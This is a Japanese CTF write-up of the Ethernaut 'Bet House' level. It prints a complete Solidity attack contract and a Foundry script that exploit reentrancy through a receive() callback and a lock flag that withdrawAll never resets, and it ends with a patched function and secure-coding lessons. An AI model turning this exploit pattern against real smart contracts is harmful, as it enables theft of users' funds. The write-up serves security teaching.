Appearance
CTF「Bet House」攻略:戦略的ギャンブルを制するスマートコントラクトの脆弱性分析
はじめに
本記事では、OpenZeppelinが提供するEthernaut CTFの「Bet House」問題について、詳細な技術解説と攻略方法を提供します。この問題は、スマートコントラクトの状態管理と再入可能性に関する深い理解を必要とする高度な課題です。ブロックチェーンセキュリティの観点から、コントラクト間の相互作用における脆弱性を探り、それを利用する方法を論理的に解説します。
問題の概要と目標
「Bet House」は、プレイヤーが5つのPool Deposit Tokens(PDT)から開始し、戦略的なギャンブルを通じて「ベッター」になることを目指す問題です。具体的な目標は、BetHouseコントラクトのmakeBet関数を成功させることです。この関数を呼び出すためには、以下の2つの条件を満たす必要があります:
- 呼び出し元が少なくとも20のラップトークン(
BET_PRICE)を保有していること - 呼び出し元の預金がロックされていること(
depositsLockedがtrue)
コントラクトアーキテクチャの分析
1. 主要コントラクトの構造
問題には3つの主要なコントラクトが含まれています:
solidity
// BetHouse.sol - メインの賭けコントラクト
contract BetHouse {
address public pool;
uint256 private constant BET_PRICE = 20;
mapping(address => bool) private bettors;
function makeBet(address bettor_) external {
if (Pool(pool).balanceOf(msg.sender) < BET_PRICE) {
revert InsufficientFunds();
}
if (!Pool(pool).depositsLocked(msg.sender)) revert FundsNotLocked();
bettors[bettor_] = true;
}
}
solidity
// Pool.sol - 預金・引き出しを管理するコントラクト
contract Pool is ReentrancyGuard {
address public wrappedToken;
address public depositToken;
mapping(address => uint256) private depositedEther;
mapping(address => uint256) private depositedPDT;
mapping(address => bool) private depositsLockedMap;
function deposit(uint256 value_) external payable {
// 預金ロジック
}
function withdrawAll() external nonReentrant {
// 引き出しロジック
}
function lockDeposits() external {
depositsLockedMap[msg.sender] = true;
}
}
solidity
// PoolToken.sol - ERC20トークンコントラクト
contract PoolToken is ERC20, Ownable {
function mint(address account, uint256 amount) external onlyOwner {
_mint(account, amount);
}
function burn(address account, uint256 amount) external onlyOwner {
_burn(account, amount);
}
}
2. 預金メカニズムの詳細
Poolコントラクトのdeposit関数は、2種類の預金を受け付けます:
- ETH預金:0.001 ETHを預けると、10個のラップトークンが発行される
- PDT預金:1 PDTを預けると、1個のラップトークンが発行される
重要な制約として、ETH預金はアカウントごとに1回のみ可能です(alreadyDepositedフラグによる制御)。
脆弱性の特定と分析
1. 状態管理の不整合
PoolコントラクトのwithdrawAll関数を仔細に分析すると、重要な脆弱性が存在します:
solidity
function withdrawAll() external nonReentrant {
// PDTの送金
uint256 _depositedValue = depositedPDT[msg.sender];
if (_depositedValue > 0) {
depositedPDT[msg.sender] = 0;
PoolToken(depositToken).transfer(msg.sender, _depositedValue);
}
// ETHの送金
_depositedValue = depositedEther[msg.sender];
if (_depositedValue > 0) {
depositedEther[msg.sender] = 0;
payable(msg.sender).call{value: _depositedValue}("");
}
// ラップトークンのバーン
PoolToken(wrappedToken).burn(msg.sender, balanceOf(msg.sender));
}
この関数には以下の問題点があります:
- 状態変数のリセット順序:
depositedPDTとdepositedEtherはリセットされますが、depositsLockedMapはリセットされません - 外部呼び出し後の状態変更:ETH送金の外部呼び出しの後でラップトークンをバーンしています
2. リエントランシー攻撃の可能性
withdrawAll関数はnonReentrant修飾子で保護されていますが、receiveフォールバック関数を介した間接的な再入可能性が可能です。ETH送金時にcallを使用しているため、受信側コントラクトのreceive関数が実行されます。
攻略戦略:段階的アプローチ
ステップ1:初期状態の構築
プレイヤーは5 PDTと0.001 ETHから開始します。まず、これらの資産をPoolコントラクトに預ける必要があります:
solidity
// 初期預金の実行
_pool.deposit{value: 0.001 ether}(5);
この結果、プレイヤーは15個のラップトークン(ETH預金:10個 + PDT預金:5個)を獲得します。
ステップ2:再入可能性の悪用
MyContractのreceive関数を利用して、withdrawAll実行中の状態を操作します:
solidity
receive() external payable {
require(msg.sender == address(_pool), "Not pool caller!");
require(msg.value == ETH_AMOUNT, "BAD received ETH amount!");
// 状態チェック
require(_wrappedToken.balanceOf(address(this)) == 15, "BAD wrapped hold!");
require(_depositToken.balanceOf(address(this)) == PDT_AMOUNT, "BAD PDT hold!");
// 2回目の預金を実行
_depositToken.approve(address(_pool), uint256(0));
_depositToken.approve(address(_pool), type(uint256).max);
_pool.deposit(PDT_AMOUNT);
// 最終的なトークン保有量の確認
require(_wrappedToken.balanceOf(address(this)) == 20, "BAD wrapped hold+5");
_wrappedToken.transfer(_player, _wrappedToken.balanceOf(address(this)));
}
ステップ3:完全な攻撃フロー
以下のコードは、完全な攻撃シナリオを実装しています:
solidity
// MyContract.sol - 完全な攻撃コントラクト
contract MyContract {
PoolToken private immutable _wrappedToken;
PoolToken private immutable _depositToken;
Pool private immutable _pool;
BetHouse private immutable _instance;
address private _player;
uint256 private constant PDT_AMOUNT = 5;
uint256 private constant ETH_AMOUNT = 0.001 ether;
constructor(
address wrappedToken_,
address depositToken_,
address pool_,
address betHouse_,
address player_
) {
_wrappedToken = PoolToken(wrappedToken_);
_depositToken = PoolToken(depositToken_);
_pool = Pool(pool_);
_instance = BetHouse(betHouse_);
_player = player_;
}
function play() external payable {
require(msg.sender == _player, "BAD caller!");
require(msg.value == ETH_AMOUNT, "BAD ETH amount!");
// 1. プレイヤーから資産を転送
_depositToken.transferFrom(_player, address(this), PDT_AMOUNT);
_depositToken.approve(address(_pool), type(uint256).max);
// 2. 初期預金の実行
_pool.deposit{value: ETH_AMOUNT}(PDT_AMOUNT);
// 3. 引き出しを開始(receive関数がトリガーされる)
_pool.withdrawAll();
}
receive() external payable {
// 4. 再入可能性の悪用
require(msg.sender == address(_pool), "Not pool caller!");
require(msg.value == ETH_AMOUNT, "BAD received ETH amount!");
// 5. 状態の確認
require(_wrappedToken.balanceOf(address(this)) == 15, "BAD wrapped hold!");
require(_depositToken.balanceOf(address(this)) == PDT_AMOUNT, "BAD PDT hold!");
// 6. 2回目の預金を実行
_depositToken.approve(address(_pool), uint256(0));
_depositToken.approve(address(_pool), type(uint256).max);
_pool.deposit(PDT_AMOUNT);
// 7. 最終的なトークン保有量の確認と転送
require(_wrappedToken.balanceOf(address(this)) == 20, "BAD wrapped hold+5");
_wrappedToken.transfer(_player, _wrappedToken.balanceOf(address(this)));
}
}
攻撃の実行フロー
フェーズ1:準備
solidity
// MyScript.sol - 攻撃スクリプト
contract MyScript is Script {
function run() external {
// コントラクトアドレスの設定
address BETHOUSE_INST = address(0x...);
address POOL_INST = address(0x...);
address WRAPPED_TOKEN_INST = address(0x...);
address DEPOSIT_TOKEN_INST = address(0x...);
uint256 ETH_AMOUNT = 0.001 ether;
uint256 playerpk = vm.envUint("PRIVATE_KEY");
address player = vm.addr(playerpk);
vm.startBroadcast(playerpk);
// 攻撃コントラクトのデプロイ
MyContract my = new MyContract(
WRAPPED_TOKEN_INST,
DEPOSIT_TOKEN_INST,
POOL_INST,
BETHOUSE_INST,
player
);
// 承認の設定
PoolToken(DEPOSIT_TOKEN_INST).approve(address(my), type(uint256).max);
// 攻撃の実行
my.play{value: ETH_AMOUNT}();
// 預金のロック
Pool(POOL_INST).lockDeposits();
// 最終的なベットの実行
BetHouse(BETHOUSE_INST).makeBet(player);
vm.stopBroadcast();
}
}
フェーズ2:状態遷移の詳細
- 初期状態:プレイヤーは5 PDTと0.001 ETHを保有
- 預金後:15ラップトークンを獲得(10 + 5)
- 引き出し中:
receive関数がトリガーされ、追加の5 PDTを預金 - 最終状態:20ラップトークンを保有し、
makeBetの条件を満たす
セキュリティ教訓とベストプラクティス
1. チェック・エフェクト・インタラクション(CEI)パターン
脆弱性の根本原因は、CEIパターンに従っていないことです。修正版のwithdrawAll関数は以下のようになるべきです:
solidity
function withdrawAll() external nonReentrant {
// 状態変数の保存
uint256 pdtAmount = depositedPDT[msg.sender];
uint256 ethAmount = depositedEther[msg.sender];
uint256 wrappedBalance = balanceOf(msg.sender);
// 状態のリセット(エフェクト)
depositedPDT[msg.sender] = 0;
depositedEther[msg.sender] = 0;
depositsLockedMap[msg.sender] = false; // 重要な追加
// トークンのバーン(内部呼び出し)
PoolToken(wrappedToken).burn(msg.sender, wrappedBalance);
// 外部呼び出し(インタラクション)
if (pdtAmount > 0) {
PoolToken(depositToken).transfer(msg.sender, pdtAmount);
}
if (ethAmount > 0) {
payable(msg.sender).call{value: ethAmount}("");
}
}
2. 状態変数の一貫性
関連する状態変数は常に一貫性を保って更新する必要があります。depositsLockedMapがwithdrawAllでリセットされないことが、この脆弱性の主要な原因でした。
3. 外部呼び出しの分離
可能な限り、外部呼び出しを分離し、状態変更の後に実行することが重要です。また、callの代わりにtransferやsendを使用することで、ガス制限を設けることも検討すべきです。
結論
「Bet House」問題は、スマートコントラクトの状態管理と再入可能性に関する重要な教訓を提供します。この問題を通じて、以下のポイントが明確になりました:
- 状態変数の一貫性:関連する状態変数は常に同期して更新する必要がある
- CEIパターンの重要性:外部呼び出しは常に状態変更の後に行うべき
- 再入可能性の多様性:
nonReentrant修飾子だけでは全ての再入可能性攻撃を防げない - フォールバック関数の危険性:
receiveやfallback関数は慎重に設計する必要がある
このようなCTF問題を解くことで、実際のスマートコントラクト開発におけるセキュリティ意識を高め、より堅牢なコードを書く能力を養うことができます。ブロックチェーン開発者にとって、この種の実践的なセキュリティ課題に取り組むことは、不可欠な学習プロセスと言えるでしょう。